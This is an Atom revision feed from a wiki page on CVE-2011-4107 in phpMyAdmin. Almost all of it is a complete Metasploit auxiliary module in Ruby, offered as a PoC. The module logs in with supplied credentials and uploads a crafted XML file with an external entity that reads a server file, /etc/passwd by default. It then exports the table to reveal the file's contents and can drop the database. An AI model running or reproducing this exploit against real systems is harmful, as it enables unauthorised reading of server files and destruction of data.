<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2011-4107_phpMyAdmin_XXE%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2011-4107 phpMyAdmin XXE漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2011-4107_phpMyAdmin_XXE%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2011-4107_phpMyAdmin_XXE%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T23:28:43Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2011-4107_phpMyAdmin_XXE%E6%BC%8F%E6%B4%9E&amp;diff=962&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==POC== &lt;pre&gt; ## # $Id$ ##  ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit #...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2011-4107_phpMyAdmin_XXE%E6%BC%8F%E6%B4%9E&amp;diff=962&amp;oldid=prev"/>
		<updated>2021-04-03T06:37:36Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==POC== &amp;lt;pre&amp;gt; ## # $Id$ ##  ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit #...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# $Id$&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
##&lt;br /&gt;
# This file is part of the Metasploit Framework and may be subject to&lt;br /&gt;
# redistribution and commercial restrictions. Please see the Metasploit&lt;br /&gt;
# Framework web site for more information on licensing and terms of use.&lt;br /&gt;
# http://metasploit.com/framework/&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
require 'msf/core'&lt;br /&gt;
&lt;br /&gt;
class Metasploit3 &amp;lt; Msf::Auxiliary&lt;br /&gt;
&lt;br /&gt;
	include Msf::Exploit::Remote::HttpClient&lt;br /&gt;
&lt;br /&gt;
	def initialize&lt;br /&gt;
		super(&lt;br /&gt;
			'Name'        =&amp;gt; 'phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion',&lt;br /&gt;
			'Version'     =&amp;gt; '1.0',&lt;br /&gt;
			'Description' =&amp;gt; %q{CVE-2011-4107 PoC - Importing a specially-crafted XML file which contains an XML entity injection permits to retrieve a local file (limited by the privileges of the user running the web server).&lt;br /&gt;
			The attacker must be logged in to MySQL via phpMyAdmin.&lt;br /&gt;
			Works on Windows and Linux Versions 3.3.X and 3.4.X},&lt;br /&gt;
			'References'  =&amp;gt;&lt;br /&gt;
				[&lt;br /&gt;
					[ 'CVE', '2011-4107' ],&lt;br /&gt;
                                        [ 'OSVDB', '76798' ],&lt;br /&gt;
                                        [ 'BID', '50497' ],&lt;br /&gt;
                                        [ 'URL', 'http://www.secforce.com/blog/2012/01/cve-2011-4107-poc-phpmyadmin-local-file-inclusion-via-xxe-injection'],&lt;br /&gt;
				],&lt;br /&gt;
			'Author'      =&amp;gt; [ 'Marco Batista' ],&lt;br /&gt;
			'License'     =&amp;gt; MSF_LICENSE&lt;br /&gt;
			)&lt;br /&gt;
&lt;br /&gt;
		register_options(&lt;br /&gt;
			[&lt;br /&gt;
				Opt::RPORT(80),&lt;br /&gt;
				OptString.new('FILE', [ true,  &amp;quot;File to read&amp;quot;, '/etc/passwd']),&lt;br /&gt;
				OptString.new('USER', [ true,  &amp;quot;Username&amp;quot;, 'root']),&lt;br /&gt;
				OptString.new('PASS', [ false,  &amp;quot;Password&amp;quot;, 'password']),&lt;br /&gt;
				OptString.new('DB', [ true,  &amp;quot;Database to use/create&amp;quot;, 'hddaccess']),&lt;br /&gt;
				OptString.new('TBL', [ true,  &amp;quot;Table to use/create and read the file to&amp;quot;, 'files']),&lt;br /&gt;
				OptString.new('APP', [ true,  &amp;quot;Location for phpMyAdmin URL&amp;quot;, '/phpmyadmin']),&lt;br /&gt;
				OptString.new('DROP', [ true,  &amp;quot;Drop database after reading file?&amp;quot;, 'true']),&lt;br /&gt;
			],self.class)&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	def loginprocess&lt;br /&gt;
		# HTTP GET TO GET SESSION VALUES&lt;br /&gt;
		getresponse = send_request_cgi({&lt;br /&gt;
			'uri'     =&amp;gt; datastore['APP']+'/index.php',&lt;br /&gt;
			'method'  =&amp;gt; 'GET',&lt;br /&gt;
			'version' =&amp;gt; '1.1',&lt;br /&gt;
			}, 25)&lt;br /&gt;
&lt;br /&gt;
		if (getresponse.nil?)&lt;br /&gt;
			print_error(&amp;quot;no response for #{ip}:#{rport}&amp;quot;)&lt;br /&gt;
		elsif (getresponse.code == 200)&lt;br /&gt;
			print_status(&amp;quot;Received #{getresponse.code} from #{rhost}:#{rport}&amp;quot;)&lt;br /&gt;
		elsif (getresponse and getresponse.code == 302 or getresponse.code == 301)&lt;br /&gt;
			print_status(&amp;quot;Received 302 to #{getresponse.headers['Location']}&amp;quot;)&lt;br /&gt;
		else&lt;br /&gt;
			print_error(&amp;quot;Received #{getresponse.code} from #{rhost}:#{rport}&amp;quot;)&lt;br /&gt;
		end&lt;br /&gt;
&lt;br /&gt;
		valuesget = getresponse.headers[&amp;quot;Set-Cookie&amp;quot;]&lt;br /&gt;
		varsget = valuesget.split(&amp;quot; &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
		#GETTING THE VARIABLES NEEDED&lt;br /&gt;
		phpMyAdmin = varsget.grep(/phpMyAdmin/).last&lt;br /&gt;
		pma_mcrypt_iv = varsget.grep(/pma_mcrypt_iv/).last&lt;br /&gt;
		# END HTTP GET &lt;br /&gt;
&lt;br /&gt;
		# LOGIN POST REQUEST TO GET COOKIE VALUE&lt;br /&gt;
		postresponse = send_request_cgi({&lt;br /&gt;
			'uri'     =&amp;gt; datastore['APP']+'/index.php',&lt;br /&gt;
			'method'  =&amp;gt; 'POST',&lt;br /&gt;
			'version' =&amp;gt; '1.1',&lt;br /&gt;
			'headers' =&amp;gt;{&lt;br /&gt;
					'Content-Type' =&amp;gt; 'application/x-www-form-urlencoded',&lt;br /&gt;
					'Cookie' =&amp;gt; &amp;quot;#{pma_mcrypt_iv} #{phpMyAdmin}&amp;quot;&lt;br /&gt;
		                    },&lt;br /&gt;
			'data'    =&amp;gt; 'pma_username='+datastore['USER']+'&amp;amp;pma_password='+datastore['PASS']+'&amp;amp;server=1'&lt;br /&gt;
			}, 25)		&lt;br /&gt;
&lt;br /&gt;
		if (postresponse[&amp;quot;Location&amp;quot;].nil?)&lt;br /&gt;
			print_status(&amp;quot;TESTING#{postresponse.body.split(&amp;quot;'&amp;quot;).grep(/token/).first.split(&amp;quot;=&amp;quot;).last}&amp;quot;)&lt;br /&gt;
			tokenvalue = postresponse.body.split(&amp;quot;'&amp;quot;).grep(/token/).first.split(&amp;quot;=&amp;quot;).last			&lt;br /&gt;
		else&lt;br /&gt;
			tokenvalue = postresponse[&amp;quot;Location&amp;quot;].split(&amp;quot;&amp;amp;&amp;quot;).grep(/token/).last.split(&amp;quot;=&amp;quot;).last&lt;br /&gt;
		end&lt;br /&gt;
		&lt;br /&gt;
		&lt;br /&gt;
		valuespost = postresponse.headers[&amp;quot;Set-Cookie&amp;quot;]&lt;br /&gt;
		varspost = valuespost.split(&amp;quot; &amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		#GETTING THE VARIABLES NEEDED&lt;br /&gt;
		pmaUser = varspost.grep(/pmaUser-1/).last&lt;br /&gt;
		pmaPass = varspost.grep(/pmaPass-1/).last&lt;br /&gt;
&lt;br /&gt;
		return &amp;quot;#{pma_mcrypt_iv} #{phpMyAdmin} #{pmaUser} #{pmaPass}&amp;quot;,tokenvalue&lt;br /&gt;
		# END OF LOGIN POST REQUEST&lt;br /&gt;
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =&amp;gt;e&lt;br /&gt;
			print_error(e.message)&lt;br /&gt;
		rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =&amp;gt;e&lt;br /&gt;
			print_error(e.message)&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	def readfile(cookie,tokenvalue)&lt;br /&gt;
		#READFILE TROUGH EXPORT FUNCTION IN PHPMYADMIN&lt;br /&gt;
		getfiles = send_request_cgi({&lt;br /&gt;
			'uri'     =&amp;gt; datastore['APP']+'/export.php',&lt;br /&gt;
			'method'  =&amp;gt; 'POST',&lt;br /&gt;
			'version' =&amp;gt; '1.1',&lt;br /&gt;
			'headers' =&amp;gt;{&lt;br /&gt;
					'Cookie' =&amp;gt; cookie&lt;br /&gt;
			            },&lt;br /&gt;
			'data'    =&amp;gt; 'db='+datastore['DB']+'&amp;amp;table='+datastore['TBL']+'&amp;amp;token='+tokenvalue+'&amp;amp;single_table=TRUE&amp;amp;export_type=table&amp;amp;sql_query=SELECT+*+FROM+%60files%60&amp;amp;what=texytext&amp;amp;texytext_structure=something&amp;amp;texytext_data=something&amp;amp;texytext_null=NULL&amp;amp;asfile=sendit&amp;amp;allrows=1&amp;amp;codegen_structure_or_data=data&amp;amp;texytext_structure_or_data=structure_and_data&amp;amp;yaml_structure_or_data=data'&lt;br /&gt;
			}, 25)&lt;br /&gt;
		&lt;br /&gt;
		if (getfiles.body.split(&amp;quot;\n&amp;quot;).grep(/== Dumping data for table/).empty?)&lt;br /&gt;
			print_error(&amp;quot;Error reading the file... not enough privilege? login error?&amp;quot;)			&lt;br /&gt;
		else&lt;br /&gt;
			print_status(&amp;quot;#{getfiles.body}&amp;quot;)&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
	def dropdatabase(cookie,tokenvalue)&lt;br /&gt;
		dropdb = send_request_cgi({&lt;br /&gt;
			'uri'     =&amp;gt; datastore['APP']+'/sql.php?sql_query=DROP+DATABASE+%60'+datastore['DB']+'%60&amp;amp;back=db_operations.php&amp;amp;goto=main.php&amp;amp;purge=1&amp;amp;token='+tokenvalue+'&amp;amp;is_js_confirmed=1&amp;amp;ajax_request=false',&lt;br /&gt;
			'method'  =&amp;gt; 'GET',&lt;br /&gt;
			'version' =&amp;gt; '1.1',&lt;br /&gt;
			'headers' =&amp;gt;{&lt;br /&gt;
					'Cookie' =&amp;gt; cookie&lt;br /&gt;
			            },&lt;br /&gt;
			}, 25)&lt;br /&gt;
&lt;br /&gt;
			print_status(&amp;quot;Dropping database: &amp;quot;+datastore['DB'])&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	def run&lt;br /&gt;
		cookie,tokenvalue = loginprocess()&lt;br /&gt;
	&lt;br /&gt;
		print_status(&amp;quot;Login at #{datastore['RHOST']}:#{datastore['RPORT']}#{datastore['APP']} using #{datastore['USER']}:#{datastore['PASS']}&amp;quot;)	&lt;br /&gt;
	&lt;br /&gt;
		craftedXML =  &amp;quot;------WebKitFormBoundary3XPL01T\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;Content-Disposition: form-data; name=\&amp;quot;token\&amp;quot;\n\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; tokenvalue+&amp;quot;\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;------WebKitFormBoundary3XPL01T\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;Content-Disposition: form-data; name=\&amp;quot;import_type\&amp;quot;\n\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;server\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;------WebKitFormBoundary3XPL01T\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;Content-Disposition: form-data; name=\&amp;quot;import_file\&amp;quot;; filename=\&amp;quot;exploit.xml\&amp;quot;\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;Content-Type: text/xml\n\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;&amp;lt;?xml version=\&amp;quot;1.0\&amp;quot; encoding=\&amp;quot;utf-8\&amp;quot;?&amp;gt;\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;&amp;lt;!DOCTYPE ficheiro [  \n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;  &amp;lt;!ENTITY conteudo SYSTEM \&amp;quot;file:///#{datastore['FILE']}\&amp;quot; &amp;gt; ]&amp;gt;\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;&amp;lt;pma_xml_export version=\&amp;quot;1.0\&amp;quot; xmlns:pma=\&amp;quot;http://www.phpmyadmin.net/some_doc_url/\&amp;quot;&amp;gt;\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;    &amp;lt;pma:structure_schemas&amp;gt;\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;        &amp;lt;pma:database name=\&amp;quot;&amp;quot;+datastore['DB']+&amp;quot;\&amp;quot; collation=\&amp;quot;utf8_general_ci\&amp;quot; charset=\&amp;quot;utf8\&amp;quot;&amp;gt;\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;            &amp;lt;pma:table name=\&amp;quot;&amp;quot;+datastore['TBL']+&amp;quot;\&amp;quot;&amp;gt;\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;                CREATE TABLE `&amp;quot;+datastore['TBL']+&amp;quot;` (`file` varchar(20000) NOT NULL);\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;            &amp;lt;/pma:table&amp;gt;\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;        &amp;lt;/pma:database&amp;gt;\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;    &amp;lt;/pma:structure_schemas&amp;gt;\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;    &amp;lt;database name=\&amp;quot;&amp;quot;+datastore['DB']+&amp;quot;\&amp;quot;&amp;gt;\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;        &amp;lt;table name=\&amp;quot;&amp;quot;+datastore['TBL']+&amp;quot;\&amp;quot;&amp;gt;\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;            &amp;lt;column name=\&amp;quot;file\&amp;quot;&amp;gt;&amp;amp;conteudo;&amp;lt;/column&amp;gt;\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;        &amp;lt;/table&amp;gt;\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;    &amp;lt;/database&amp;gt;\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;&amp;lt;/pma_xml_export&amp;gt;\n\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;------WebKitFormBoundary3XPL01T\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;Content-Disposition: form-data; name=\&amp;quot;format\&amp;quot;\n\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;xml\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;------WebKitFormBoundary3XPL01T\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;Content-Disposition: form-data; name=\&amp;quot;csv_terminated\&amp;quot;\n\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;,\n\n&amp;quot;&lt;br /&gt;
		craftedXML &amp;lt;&amp;lt; &amp;quot;------WebKitFormBoundary3XPL01T--&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
	&lt;br /&gt;
		print_status(&amp;quot;Grabbing that #{datastore['FILE']} you want...&amp;quot;)&lt;br /&gt;
		res = send_request_cgi({&lt;br /&gt;
			'uri'     =&amp;gt; datastore['APP']+'/import.php',&lt;br /&gt;
			'method'  =&amp;gt; 'POST',&lt;br /&gt;
			'version' =&amp;gt; '1.1',&lt;br /&gt;
			'headers' =&amp;gt;{&lt;br /&gt;
					'Content-Type' =&amp;gt; 'multipart/form-data; boundary=----WebKitFormBoundary3XPL01T',&lt;br /&gt;
					'Cookie' =&amp;gt; cookie&lt;br /&gt;
			            },&lt;br /&gt;
			'data'    =&amp;gt; craftedXML&lt;br /&gt;
		}, 25)&lt;br /&gt;
&lt;br /&gt;
		readfile(cookie,tokenvalue)&lt;br /&gt;
&lt;br /&gt;
		if (datastore['DROP'] == &amp;quot;true&amp;quot;)&lt;br /&gt;
			dropdatabase(cookie,tokenvalue)&lt;br /&gt;
		else&lt;br /&gt;
			print_status(&amp;quot;Database was not dropped: &amp;quot;+datastore['DB'])			&lt;br /&gt;
		end&lt;br /&gt;
&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>